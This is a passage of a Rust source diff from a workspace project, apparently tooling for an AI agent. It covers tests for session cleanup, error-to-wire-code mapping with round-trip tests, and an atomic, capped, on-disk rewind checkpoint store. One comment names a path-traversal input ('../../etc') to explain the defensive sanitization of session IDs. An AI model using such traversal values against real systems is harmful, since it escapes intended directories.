std::fs::create_dir_all(&sessions).unwrap();
|
||||
let stray = sessions.join("stray.txt");
|
||||
std::fs::write(&stray, b"not a session dir").unwrap();
|
||||
tokio::time::sleep(Duration::from_millis(15)).await;
|
||||
|
||||
cleanup_stale_sessions(home.path(), Duration::ZERO).await;
|
||||
|
||||
assert!(
|
||||
stray.exists(),
|
||||
"stray files under sessions/ must never be removed"
|
||||
);
|
||||
}
|
||||
|
||||
/// Mixed sweep: the `max_age` comparison is per-entry, not all-or-nothing.
|
||||
#[tokio::test]
|
||||
async fn cleanup_removes_only_expired_dirs() {
|
||||
let home = tempfile::TempDir::new().unwrap();
|
||||
let sessions = home.path().join("sessions");
|
||||
let old = sessions.join("sess-old");
|
||||
std::fs::create_dir_all(&old).unwrap();
|
||||
// Wide gap (100ms) vs a 50ms threshold so neither side is sensitive to
|
||||
// scheduler jitter.
|
||||
tokio::time::sleep(Duration::from_millis(100)).await;
|
||||
let max_age = Duration::from_millis(50);
|
||||
let fresh = sessions.join("sess-fresh");
|
||||
std::fs::create_dir_all(&fresh).unwrap();
|
||||
|
||||
cleanup_stale_sessions(home.path(), max_age).await;
|
||||
|
||||
assert!(!old.exists(), "the >max_age dir must be removed");
|
||||
assert!(
|
||||
fresh.exists(),
|
||||
"the <max_age dir must survive the same sweep"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
//! `WorkspaceError` <-> wire-code mapping for the workspace RPC envelope
|
||||
//! (the envelope types are canonical in `kigi_workspace_types::rpc`).
|
||||
//!
|
||||
//! `error_code` uses a non-wildcard match so the compiler enforces
|
||||
//! coverage of new `WorkspaceError` variants.
|
||||
|
||||
pub use kigi_workspace_types::rpc::{RpcEnvelope, RpcError};
|
||||
|
||||
use crate::error::WorkspaceError;
|
||||
|
||||
/// Build an error envelope from a `WorkspaceError`.
|
||||
pub fn envelope_err<T>(error: &WorkspaceError) -> RpcEnvelope<T> {
|
||||
RpcEnvelope::err_parts(error_code(error), error.to_string())
|
||||
}
|
||||
|
||||
/// Map a `WorkspaceError` to its wire code string.
|
||||
///
|
||||
/// Uses an exhaustive match with no wildcard -- the compiler will
|
||||
/// error when new variants are added to `WorkspaceError`, forcing
|
||||
/// the implementer to assign a wire code.
|
||||
pub fn error_code(err: &WorkspaceError) -> &'static str {
|
||||
match err {
|
||||
WorkspaceError::ParentSessionNotFound(_) => "parent_session_not_found",
|
||||
WorkspaceError::SessionNotFound(_) => "session_not_found",
|
||||
WorkspaceError::SessionAlreadyExists(_) => "session_already_exists",
|
||||
WorkspaceError::EmptyAgentId => "empty_agent_id",
|
||||
WorkspaceError::CannotDropMainSession => "cannot_drop_main",
|
||||
WorkspaceError::Finalize(_) => "finalize",
|
||||
WorkspaceError::CapabilityWidening { .. } => "capability_widening",
|
||||
WorkspaceError::Unauthorized { .. } => "unauthorized",
|
||||
WorkspaceError::TurnActive(_) => kigi_workspace_types::rpc::envelope::TURN_ACTIVE,
|
||||
WorkspaceError::MaxDepthExceeded { .. } => "max_depth_exceeded",
|
||||
WorkspaceError::JoinError(_) => "join_error",
|
||||
WorkspaceError::InvalidHunkAction(_) => "invalid_hunk_action",
|
||||
WorkspaceError::HunkActionFailed(_) => "hunk_action_failed",
|
||||
WorkspaceError::HubError(_) => "hub_error",
|
||||
WorkspaceError::DeployError { kind, .. } => kind.wire_code(),
|
||||
WorkspaceError::ShuttingDown => "shutting_down",
|
||||
WorkspaceError::ToolsetExternallyOwned(_) => "toolset_externally_owned",
|
||||
}
|
||||
}
|
||||
|
||||
/// Map a wire [`RpcError`] back to a [`WorkspaceError`].
|
||||
///
|
||||
/// Known codes are mapped to their specific variants. Unknown codes
|
||||
/// degrade gracefully to `WorkspaceError::HubError`, ensuring
|
||||
/// forward compatibility when a newer workspace sends codes an older
|
||||
/// shell does not recognise.
|
||||
///
|
||||
/// # Intentional degradation
|
||||
///
|
||||
/// The structured variants `CapabilityWidening`, `Unauthorized`, and
|
||||
/// `MaxDepthExceeded` carry multiple fields that are not preserved in
|
||||
/// the wire `message` string. These are mapped to `HubError` on the
|
||||
/// deserializing side because reconstructing the original struct fields
|
||||
/// from a flattened `Display` string would be fragile and error-prone.
|
||||
/// Callers that need to distinguish these errors can match on the
|
||||
/// `HubError` message which contains the original error code as a
|
||||
/// prefix (e.g. `"capability_widening: ..."`).
|
||||
pub fn rpc_error_to_workspace(err: RpcError) -> WorkspaceError {
|
||||
if let Some(kind) = kigi_workspace_types::rpc::deploy::DeployError::from_wire_code(&err.code) {
|
||||
return WorkspaceError::DeployError {
|
||||
kind,
|
||||
message: err.message,
|
||||
};
|
||||
}
|
||||
match err.code.as_str() {
|
||||
"parent_session_not_found" => WorkspaceError::ParentSessionNotFound(err.message),
|
||||
"session_not_found" => WorkspaceError::SessionNotFound(err.message),
|
||||
"session_already_exists" => WorkspaceError::SessionAlreadyExists(err.message),
|
||||
"empty_agent_id" => WorkspaceError::EmptyAgentId,
|
||||
"cannot_drop_main" => WorkspaceError::CannotDropMainSession,
|
||||
"finalize" => WorkspaceError::Finalize(err.message),
|
||||
"capability_widening" => {
|
||||
WorkspaceError::HubError(format!("capability_widening: {}", err.message))
|
||||
}
|
||||
"unauthorized" => WorkspaceError::HubError(format!("unauthorized: {}", err.message)),
|
||||
"turn_active" => WorkspaceError::TurnActive(err.message),
|
||||
"max_depth_exceeded" => {
|
||||
WorkspaceError::HubError(format!("max_depth_exceeded: {}", err.message))
|
||||
}
|
||||
"join_error" => WorkspaceError::JoinError(err.message),
|
||||
"invalid_hunk_action" => WorkspaceError::InvalidHunkAction(err.message),
|
||||
"hunk_action_failed" => WorkspaceError::HunkActionFailed(err.message),
|
||||
"hub_error" => WorkspaceError::HubError(err.message),
|
||||
"shutting_down" => WorkspaceError::ShuttingDown,
|
||||
"toolset_externally_owned" => WorkspaceError::ToolsetExternallyOwned(err.message),
|
||||
unknown => {
|
||||
WorkspaceError::HubError(format!("unknown error code: {unknown}: {}", err.message))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::capability::CapabilityMode;
|
||||
|
||||
/// Verify round-trip fidelity for every `WorkspaceError` variant.
|
||||
#[test]
|
||||
fn error_code_round_trip_all_variants() {
|
||||
let mut variants: Vec<WorkspaceError> = vec![
|
||||
WorkspaceError::ParentSessionNotFound("p".into()),
|
||||
WorkspaceError::SessionNotFound("s".into()),
|
||||
WorkspaceError::SessionAlreadyExists("s".into()),
|
||||
WorkspaceError::EmptyAgentId,
|
||||
WorkspaceError::CannotDropMainSession,
|
||||
WorkspaceError::Finalize("f".into()),
|
||||
WorkspaceError::CapabilityWidening {
|
||||
parent: CapabilityMode::ReadOnly,
|
||||
child: CapabilityMode::All,
|
||||
},
|
||||
WorkspaceError::Unauthorized {
|
||||
caller: "a".into(),
|
||||
target: "b".into(),
|
||||
},
|
||||
WorkspaceError::TurnActive("s".into()),
|
||||
WorkspaceError::MaxDepthExceeded { parent: "p".into() },
|
||||
WorkspaceError::JoinError("j".into()),
|
||||
WorkspaceError::InvalidHunkAction("h".into()),
|
||||
WorkspaceError::HunkActionFailed("h".into()),
|
||||
WorkspaceError::HubError("hub".into()),
|
||||
WorkspaceError::ShuttingDown,
|
||||
WorkspaceError::ToolsetExternallyOwned("s".into()),
|
||||
];
|
||||
variants.extend(
|
||||
kigi_workspace_types::rpc::deploy::DeployError::ALL
|
||||
.into_iter()
|
||||
.map(|kind| WorkspaceError::DeployError {
|
||||
kind,
|
||||
message: "deploy".into(),
|
||||
}),
|
||||
);
|
||||
|
||||
for err in &variants {
|
||||
let code = error_code(err);
|
||||
assert!(!code.is_empty(), "code must not be empty for {err:?}");
|
||||
|
||||
// Round-trip through RpcError
|
||||
let rpc_err = RpcError {
|
||||
code: code.to_owned(),
|
||||
message: err.to_string(),
|
||||
};
|
||||
let recovered = rpc_error_to_workspace(rpc_err);
|
||||
// The recovered error's code should match the original code
|
||||
let recovered_code = error_code(&recovered);
|
||||
|
||||
// Structured variants (CapabilityWidening, Unauthorized,
|
||||
// MaxDepthExceeded) lose their fields on the wire and
|
||||
// degrade to HubError, which is the expected behavior.
|
||||
// Their error messages are preserved in the HubError string.
|
||||
match err {
|
||||
WorkspaceError::CapabilityWidening { .. } => {
|
||||
assert_eq!(recovered_code, "hub_error");
|
||||
let msg = recovered.to_string();
|
||||
assert!(
|
||||
msg.contains("capability_widening"),
|
||||
"degraded error should contain original code: {msg}"
|
||||
);
|
||||
}
|
||||
WorkspaceError::Unauthorized { .. } => {
|
||||
assert_eq!(recovered_code, "hub_error");
|
||||
let msg = recovered.to_string();
|
||||
assert!(
|
||||
msg.contains("unauthorized"),
|
||||
"degraded error should contain original code: {msg}"
|
||||
);
|
||||
}
|
||||
WorkspaceError::MaxDepthExceeded { .. } => {
|
||||
assert_eq!(recovered_code, "hub_error");
|
||||
let msg = recovered.to_string();
|
||||
assert!(
|
||||
msg.contains("max_depth_exceeded"),
|
||||
"degraded error should contain original code: {msg}"
|
||||
);
|
||||
}
|
||||
_ => {
|
||||
assert_eq!(
|
||||
recovered_code, code,
|
||||
"round-trip mismatch for {err:?}: got code {recovered_code}"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Verify unknown codes degrade to HubError.
|
||||
#[test]
|
||||
fn unknown_code_degrades_to_hub_error() {
|
||||
let rpc_err = RpcError {
|
||||
code: "future_new_variant".into(),
|
||||
message: "something new".into(),
|
||||
};
|
||||
let recovered = rpc_error_to_workspace(rpc_err);
|
||||
assert!(matches!(recovered, WorkspaceError::HubError(_)));
|
||||
let msg = recovered.to_string();
|
||||
assert!(msg.contains("future_new_variant"));
|
||||
}
|
||||
|
||||
/// Verify serde round-trip of RpcEnvelope.
|
||||
#[test]
|
||||
fn envelope_serde_round_trip_ok() {
|
||||
let env: RpcEnvelope<String> = RpcEnvelope::ok("hello".into());
|
||||
let json = serde_json::to_value(&env).unwrap();
|
||||
let recovered: RpcEnvelope<String> = serde_json::from_value(json).unwrap();
|
||||
match recovered.into_result() {
|
||||
Ok(v) => assert_eq!(v, "hello"),
|
||||
Err(e) => panic!("expected Ok, got {e:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
/// Verify serde round-trip of RpcEnvelope error, through the
|
||||
/// `WorkspaceError` mapping in both directions.
|
||||
#[test]
|
||||
fn envelope_serde_round_trip_err() {
|
||||
let err = WorkspaceError::SessionNotFound("ghost".into());
|
||||
let env: RpcEnvelope<String> = envelope_err(&err);
|
||||
let json = serde_json::to_value(&env).unwrap();
|
||||
let recovered: RpcEnvelope<String> = serde_json::from_value(json).unwrap();
|
||||
match recovered.into_result().map_err(rpc_error_to_workspace) {
|
||||
Ok(_) => panic!("expected Err"),
|
||||
Err(e) => {
|
||||
assert_eq!(error_code(&e), "session_not_found");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,725 @@
|
||||
//! Disk-backed, co-located checkpoint store.
|
||||
//!
|
||||
//! Each finalized [`RewindCheckpoint`] is mirrored to a small on-disk store that
|
||||
//! lives *inside* the session working tree (the snapshotted rootfs), so the
|
||||
//! per-turn rootfs snapshot carries serialized checkpoints across a sandbox
|
||||
//! restore. A restored session rehydrates them into the in-memory cache (see
|
||||
//! [`CheckpointStore::with_cap`]); the cache is the hot read path, disk the
|
||||
//! durable copy. Re-seeding the *live* trackers from the cache is not yet wired.
|
||||
//!
|
||||
//! The store is a durability **mirror**, not the restore mechanism: in-session
|
||||
//! [`rewind_to`](crate::handle::WorkspaceHandle::rewind_to) always reverts
|
||||
//! in-process, never via a rootfs rollback. All disk I/O is gated by
|
||||
//! `workspace_rewind_durable` ([`rewind_durable_enabled`](super::checkpoint::rewind_durable_enabled));
|
||||
//! off ⇒ the legacy in-memory-only path.
|
||||
//!
|
||||
//! **On-disk layout** (under the session `cwd`):
|
||||
//!
|
||||
//! ```text
|
||||
//! <cwd>/.kigi/rewind-checkpoints/
|
||||
//! .gitignore # "*" — blobs are never committed
|
||||
//! <session_id>/
|
||||
//! checkpoint-<prompt_index>.json # one RewindCheckpoint per prompt
|
||||
//! ```
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
use crate::session::checkpoint::RewindCheckpoint;
|
||||
|
||||
/// Directory (under `<cwd>/.kigi`) holding every session's checkpoint store.
|
||||
const STORE_SUBDIR: &str = "rewind-checkpoints";
|
||||
|
||||
/// Default cap on retained checkpoints per session. Bounds on-disk and in-memory
|
||||
/// size; the oldest (lowest `prompt_index`) are evicted beyond this.
|
||||
const DEFAULT_CHECKPOINT_CAP: usize = 64;
|
||||
|
||||
/// Monotonic counter making each checkpoint temp-file name unique within the
|
||||
/// process, so concurrent writers for the same `prompt_index` never collide.
|
||||
static TMP_WRITE_SEQ: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
|
||||
|
||||
/// Disk-backed, co-located checkpoint store fronted by an in-memory cache.
|
||||
///
|
||||
/// See the [module docs](self) for the on-disk layout and durability rationale.
|
||||
pub(crate) struct CheckpointStore {
|
||||
/// Per-session store directory: `<cwd>/.kigi/rewind-checkpoints/<session_id>`.
|
||||
dir: PathBuf,
|
||||
/// Max retained checkpoints; the oldest are evicted beyond this.
|
||||
cap: usize,
|
||||
/// In-memory cache fronting disk (the hot read path). A `BTreeMap` keeps keys
|
||||
/// ordered, so the oldest prompt (smallest key) is cheap to find for eviction.
|
||||
cache: Mutex<BTreeMap<usize, RewindCheckpoint>>,
|
||||
/// Serializes `persist` against `truncate_from` so a finalize and a rewind
|
||||
/// can't interleave their disk + cache mutations and drift out of sync.
|
||||
io_lock: Mutex<()>,
|
||||
}
|
||||
|
||||
impl CheckpointStore {
|
||||
/// Build a store for `session_id` rooted at the session `cwd`.
|
||||
///
|
||||
/// With the durable flag **off** this does no disk I/O. With it **on** it
|
||||
/// rehydrates the cache from any blobs the rootfs snapshot carried (see
|
||||
/// [`with_cap`](Self::with_cap)).
|
||||
pub(crate) fn new(cwd: &Path, session_id: &str) -> Self {
|
||||
Self::with_cap(cwd, session_id, DEFAULT_CHECKPOINT_CAP)
|
||||
}
|
||||
|
||||
/// Like [`new`](Self::new) but with an explicit retention cap (clamped to ≥1).
|
||||
/// With the durable flag on, rehydrates the cache from the blobs the rootfs
|
||||
/// snapshot carried and enforces the cap against them; flag off ⇒ empty, no I/O.
|
||||
pub(crate) fn with_cap(cwd: &Path, session_id: &str, cap: usize) -> Self {
|
||||
// `session_id` is RPC-controlled: never join it verbatim (a `../../etc`
|
||||
// would escape the store root). Map it to a safe, collision-free name first.
|
||||
let dir = cwd
|
||||
.join(".kigi")
|
||||
.join(STORE_SUBDIR)
|
||||
.join(session_store_dir_name(session_id));
|
||||
let cap = cap.max(1);
|
||||
let cache = if super::checkpoint::rewind_durable_enabled() {
|
||||
rehydrate_off_runtime(&dir, cap)
|
||||
} else {
|
||||
BTreeMap::new()
|
||||
};
|
||||
Self {
|
||||
dir,
|
||||
cap,
|
||||
cache: Mutex::new(cache),
|
||||
io_lock: Mutex::new(()),
|
||||
}
|
||||
}
|
||||
|
||||
/// On-disk path for a single checkpoint.
|
||||
fn checkpoint_path(&self, prompt_index: usize) -> PathBuf {
|
||||
checkpoint_file_path(&self.dir, prompt_index)
|
||||
}
|
||||
|
||||
/// Write `checkpoint` through to disk and the cache (last-write-wins per
|
||||
/// `prompt_index`), then evict the oldest beyond the cap. Takes the checkpoint
|
||||
/// by value to avoid cloning its (potentially large) contents on the hot path.
|
||||
pub(crate) async fn persist(&self, checkpoint: RewindCheckpoint) {
|
||||
// Serialize against `truncate_from` so a finalize and a rewind can't
|
||||
// interleave and leave the cache and disk inconsistent.
|
||||
let _io = self.io_lock.lock().await;
|
||||
|
||||
let prompt_index = checkpoint.prompt_index;
|
||||
// Skip a checkpoint below the retention window: it would be evicted the
|
||||
// instant it's inserted (write-then-delete). Overwrites of an existing
|
||||
// index, or any index while under the cap, are always retained.
|
||||
{
|
||||
let cache = self.cache.lock().await;
|
||||
let below_window = cache.len() >= self.cap
|
||||
&& !cache.contains_key(&prompt_index)
|
||||
&& cache
|
||||
.keys()
|
||||
.next()
|
||||
.is_some_and(|&oldest| prompt_index < oldest);
|
||||
if below_window {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if let Err(e) = self.ensure_store_dir().await {
|
||||
tracing::warn!(
|
||||
error = %e,
|
||||
dir = %self.dir.display(),
|
||||
"rewind checkpoint store: mkdir failed; skipping persist"
|
||||
);
|
||||
return;
|
||||
}
|
||||
if let Err(e) = self.write_checkpoint_file(&checkpoint).await {
|
||||
tracing::warn!(
|
||||
error = %e,
|
||||
prompt_index,
|
||||
"rewind checkpoint store: write failed; skipping persist"
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
// Pick cap victims under the cache lock, then release it before the file
|
||||
// deletions (never hold the mutex across I/O). The just-inserted index is
|
||||
// guaranteed to survive eviction by the retention-window check above.
|
||||
let evicted = {
|
||||
let mut cache = self.cache.lock().await;
|
||||
cache.insert(prompt_index, checkpoint);
|
||||
let mut evicted = Vec::new();
|
||||
while cache.len() > self.cap {
|
||||
// `pop_first` removes the smallest key — the oldest prompt.
|
||||
let Some((oldest, _)) = cache.pop_first() else {
|
||||
break;
|
||||
};
|
||||
evicted.push(oldest);
|
||||
}
|
||||
evicted
|
||||
};
|
||||
for idx in evicted {
|
||||
let _ = tokio::fs::remove_file(self.checkpoint_path(idx)).await;
|
||||
}
|
||||
}
|
||||
|
||||
/// Drop persisted checkpoints `>= target` from cache and disk. Scans the
|
||||
/// directory (not just the cache) so it stays correct when the cache is cold
|
||||
/// (e.g. after a sandbox restore). Missing store dir is a no-op.
|
||||
pub(crate) async fn truncate_from(&self, target: usize) {
|
||||
// Serialize against `persist` (see [`persist`](Self::persist)) so a rewind
|
||||
// and a concurrent finalize can't interleave their cache + disk mutations.
|
||||
let _io = self.io_lock.lock().await;
|
||||
|
||||
// Open the disk scan *before* pruning the cache so the two can't diverge:
|
||||
// if the dir can't be opened while it still holds `>= target` blobs, a pruned
|
||||
// cache would let a later rehydrate resurrect the just-rewound checkpoints.
|
||||
let mut entries = match tokio::fs::read_dir(&self.dir).await {
|
||||
Ok(entries) => entries,
|
||||
// Dir absent ⇒ no on-disk blobs to diverge from; safe to prune the cache.
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
|
||||
self.cache.lock().await.retain(|&idx, _| idx < target);
|
||||
return;
|
||||
}
|
||||
// Unscannable dir may still hold `>= target` blobs: keep the cache so it
|
||||
// stays consistent with disk (the rewound checkpoints aren't resurrected).
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
error = %e,
|
||||
dir = %self.dir.display(),
|
||||
"rewind checkpoint store: truncate scan failed; keeping cache to stay consistent with disk"
|
||||
);
|
||||
return;
|
||||
}
|
||||
};
|
||||
// Scan opened: prune the cache, then delete the `>= target` blobs below.
|
||||
self.cache.lock().await.retain(|&idx, _| idx < target);
|
||||
// Explicit loop (not `while let Ok(Some(..))`) so a transient mid-scan
|
||||
// `read_dir` error continues instead of ending early: aborting would leave
|
||||
// a `>= target` blob after the cache was pruned, and a later rehydrate would
|
||||
// resurrect that rewound checkpoint. `remove_file` failures are logged.
|
||||
loop {
|
||||
match entries.next_entry().await {
|
||||
Ok(Some(entry)) => {
|
||||
let name = entry.file_name();
|
||||
if let Some(idx) = parse_checkpoint_index(&name)
|
||||
&& idx >= target
|
||||
&& let Err(e) = tokio::fs::remove_file(entry.path()).await
|
||||
{
|
||||
tracing::warn!(
|
||||
error = %e,
|
||||
path = %entry.path().display(),
|
||||
"rewind checkpoint store: failed to remove checkpoint on truncate; \
|
||||
it may be resurrected on a later rehydrate"
|
||||
);
|
||||
}
|
||||
}
|
||||
Ok(None) => break,
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
error = %e,
|
||||
dir = %self.dir.display(),
|
||||
"rewind checkpoint store: truncate scan read_dir error; \
|
||||
continuing to scan remaining entries"
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Create the store dir and its `.gitignore` (idempotent). The `.gitignore`
|
||||
/// at the `rewind-checkpoints` root uses `*` so no blob is ever committed.
|
||||
async fn ensure_store_dir(&self) -> std::io::Result<()> {
|
||||
tokio::fs::create_dir_all(&self.dir).await?;
|
||||
if let Some(root) = self.dir.parent() {
|
||||
let gitignore = root.join(".gitignore");
|
||||
// `Path::exists` is a blocking `stat` on the async runtime thread; use
|
||||
// the async probe to stay consistent with the surrounding tokio::fs I/O.
|
||||
if !tokio::fs::try_exists(&gitignore).await.unwrap_or(false) {
|
||||
tokio::fs::write(&gitignore, "*\n").await?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Serialize `checkpoint` via temp-file + rename, so a crash mid-write can't
|
||||
/// leave a torn JSON blob at the final path. The temp path carries a per-write
|
||||
/// unique suffix (pid + counter), not just `prompt_index`: two overlapping
|
||||
/// persists of the same prompt would otherwise share one temp file and tear.
|
||||
async fn write_checkpoint_file(&self, checkpoint: &RewindCheckpoint) -> std::io::Result<()> {
|
||||
let json = serde_json::to_vec(checkpoint).map_err(std::io::Error::other)?;
|
||||
let final_path = self.checkpoint_path(checkpoint.prompt_index);
|
||||
let unique = TMP_WRITE_SEQ.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
|
||||
let tmp_path = self.dir.join(format!(
|
||||
"checkpoint-{}.json.tmp.{}.{}",
|
||||
checkpoint.prompt_index,
|
||||
std::process::id(),
|
||||
unique,
|
||||
));
|
||||
// Flush the blob to disk *before* the rename: atomic rename gives visibility,
|
||||
// not data persistence, so without this fsync the durability mechanism (a
|
||||
// rootfs snapshot carrying these files) could capture a zero-length/short
|
||||
// blob. `sync_all` fsyncs contents + metadata.
|
||||
{
|
||||
let mut f = tokio::fs::File::create(&tmp_path).await?;
|
||||
f.write_all(&json).await?;
|
||||
f.sync_all().await?;
|
||||
}
|
||||
tokio::fs::rename(&tmp_path, &final_path).await?;
|
||||
// Best-effort dir fsync so the rename (the new dir entry) is itself durable;
|
||||
// async open keeps this off the blocking path. Ignored where unsupported.
|
||||
if let Ok(dir) = tokio::fs::File::open(&self.dir).await {
|
||||
let _ = dir.sync_all().await;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// On-disk path for a single checkpoint under `dir`.
|
||||
fn checkpoint_file_path(dir: &Path, prompt_index: usize) -> PathBuf {
|
||||
dir.join(format!("checkpoint-{prompt_index}.json"))
|
||||
}
|
||||
|
||||
/// Derive the on-disk store directory name for a caller-controlled `session_id`.
|
||||
/// Must be (1) a single traversal-safe component (`../../etc` must not escape the
|
||||
/// root) and (2) collision-free across distinct raw ids. A readable sanitized
|
||||
/// prefix (`[^A-Za-z0-9_-]` → `_`, length-bounded) plus a short hash of the *raw*
|
||||
/// id; deterministic so a restored session reads back the same directory.
|
||||
fn session_store_dir_name(session_id: &str) -> String {
|
||||
const PREFIX_MAX: usize = 48;
|
||||
let prefix: String = session_id
|
||||
.chars()
|
||||
.map(|c| {
|
||||
if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
|
||||
c
|
||||
} else {
|
||||
'_'
|
||||
}
|
||||
})
|
||||
.take(PREFIX_MAX)
|
||||
.collect();
|
||||
// The hash makes the name collision-resistant; appended unconditionally so
|
||||
// the result always contains `-<hex>` and can never be empty, `.`, or `..`.
|
||||
format!("{prefix}-{:016x}", fnv1a_64(session_id.as_bytes()))
|
||||
}
|
||||
|
||||
/// FNV-1a 64-bit hash. Small and fully specified, so the digest is stable across
|
||||
/// platforms and toolchains — required since the store dir name depends on it.
|
||||
fn fnv1a_64(bytes: &[u8]) -> u64 {
|
||||
const OFFSET_BASIS: u64 = 0xcbf2_9ce4_8422_2325;
|
||||
const PRIME: u64 = 0x0000_0100_0000_01b3;
|
||||
let mut hash = OFFSET_BASIS;
|
||||
for &b in bytes {
|
||||
hash ^= b as u64;
|
||||
hash = hash.wrapping_mul(PRIME);
|
||||
}
|
||||
hash
|
||||
}
|
||||
|
||||
/// Run the blocking disk rehydrate without starving the async runtime.
|
||||
/// [`load_capped_from_disk`] uses blocking `std::fs` but the constructor is sync
|
||||
/// and reached from async paths: on a multi-thread runtime hand it to
|
||||
/// `block_in_place`; otherwise (current-thread, where that panics) run inline.
|
||||
fn rehydrate_off_runtime(dir: &Path, cap: usize) -> BTreeMap<usize, RewindCheckpoint> {
|
||||
use tokio::runtime::{Handle, RuntimeFlavor};
|
||||
match Handle::try_current() {
|
||||
Ok(handle) if handle.runtime_flavor() == RuntimeFlavor::MultiThread => {
|
||||
tokio::task::block_in_place(|| load_capped_from_disk(dir, cap))
|
||||
}
|
||||
_ => load_capped_from_disk(dir, cap),
|
||||
}
|
||||
}
|
||||
|
||||
/// Load persisted checkpoints from `dir`, trimmed to the newest `cap` (older
|
||||
/// blobs are deleted, bounding on-disk size). Blocking `std::fs`, run once at
|
||||
/// construction. Missing dir ⇒ empty; unreadable/corrupt blobs are skipped.
|
||||
fn load_capped_from_disk(dir: &Path, cap: usize) -> BTreeMap<usize, RewindCheckpoint> {
|
||||
let mut loaded = BTreeMap::new();
|
||||
let entries = match std::fs::read_dir(dir) {
|
||||
Ok(entries) => entries,
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return loaded,
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
error = %e,
|
||||
dir = %dir.display(),
|
||||
"rewind checkpoint store: rehydrate scan failed"
|
||||
);
|
||||
return loaded;
|
||||
}
|
||||
};
|
||||
for entry in entries {
|
||||
// Don't `flatten()` away per-entry errors: a dropped entry would omit a blob
|
||||
// from the cache while leaving it on disk, diverging the two. Log and skip.
|
||||
let entry = match entry {
|
||||
Ok(entry) => entry,
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
error = %e,
|
||||
dir = %dir.display(),
|
||||
"rewind checkpoint store: skipping unreadable dir entry on rehydrate"
|
||||
);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
let file_name = entry.file_name();
|
||||
let Some(idx) = parse_checkpoint_index(&file_name) else {
|
||||
// Sweep orphaned temp files from a crashed `write_checkpoint_file`:
|
||||
// rehydrate runs once at construction before this instance writes, so
|
||||
// removing them is safe and bounds clutter. Best-effort.
|
||||
if is_orphan_checkpoint_tmp(&file_name) {
|
||||
let _ = std::fs::remove_file(entry.path());
|
||||
}
|
||||
continue;
|
||||
};
|
||||
match std::fs::read(entry.path()) {
|
||||
Ok(bytes) => match serde_json::from_slice::<RewindCheckpoint>(&bytes) {
|
||||
Ok(checkpoint) => {
|
||||
loaded.insert(idx, checkpoint);
|
||||
}
|
||||
Err(e) => tracing::warn!(
|
||||
error = %e,
|
||||
path = %entry.path().display(),
|
||||
"rewind checkpoint store: skipping unparseable blob on rehydrate"
|
||||
),
|
||||
},
|
||||
Err(e) => tracing::warn!(
|
||||
error = %e,
|
||||
path = %entry.path().display(),
|
||||
"rewind checkpoint store: skipping unreadable blob on rehydrate"
|
||||
),
|
||||
}
|
||||
}
|
||||
while loaded.len() > cap {
|
||||
let Some((oldest, _)) = loaded.pop_first() else {
|
||||
break;
|
||||
};
|
||||
let _ = std::fs::remove_file(checkpoint_file_path(dir, oldest));
|
||||
}
|
||||
loaded
|
||||
}
|
||||
|
||||
/// Parse `checkpoint-<n>.json` → `n`. `None` for anything else (including the
|
||||
/// in-flight `checkpoint-<n>.json.tmp` written by `write_checkpoint_file`).
|
||||
fn parse_checkpoint_index(file_name: &std::ffi::OsStr) -> Option<usize> {
|
||||
file_name
|
||||
.to_str()?
|
||||
.strip_prefix("checkpoint-")?
|
||||
.strip_suffix(".json")?
|
||||
.parse()
|
||||
.ok()
|
||||
}
|
||||
|
||||
/// Whether `file_name` is an orphaned checkpoint temp file
|
||||
/// (`checkpoint-<idx>.json.tmp[...]`) left by a crashed `write_checkpoint_file`,
|
||||
/// swept on rehydrate (`parse_checkpoint_index` deliberately skips them).
|
||||
fn is_orphan_checkpoint_tmp(file_name: &std::ffi::OsStr) -> bool {
|
||||
file_name
|
||||
.to_str()
|
||||
.is_some_and(|n| n.starts_with("checkpoint-") && n.contains(".json.tmp"))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
impl CheckpointStore {
|
||||
/// The per-session store directory.
|
||||
pub(crate) fn dir(&self) -> &Path {
|
||||
&self.dir
|
||||
}
|
||||
|
||||
/// Read a checkpoint, preferring the cache and falling back to a disk read
|
||||
/// (warming the cache). Test-only: the prod consumer that re-seeds live
|
||||
/// trackers from these blobs after a sandbox restore is not yet wired.
|
||||
pub(crate) async fn get(&self, prompt_index: usize) -> Option<RewindCheckpoint> {
|
||||
if let Some(cp) = self.cache.lock().await.get(&prompt_index).cloned() {
|
||||
return Some(cp);
|
||||
}
|
||||
let bytes = tokio::fs::read(self.checkpoint_path(prompt_index))
|
||||
.await
|
||||
.ok()?;
|
||||
let checkpoint: RewindCheckpoint = serde_json::from_slice(&bytes).ok()?;
|
||||
self.cache
|
||||
.lock()
|
||||
.await
|
||||
.insert(prompt_index, checkpoint.clone());
|
||||
Some(checkpoint)
|
||||
}
|
||||
|
||||
/// Number of checkpoints currently held in the in-memory cache.
|
||||
async fn cached_len(&self) -> usize {
|
||||
self.cache.lock().await.len()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
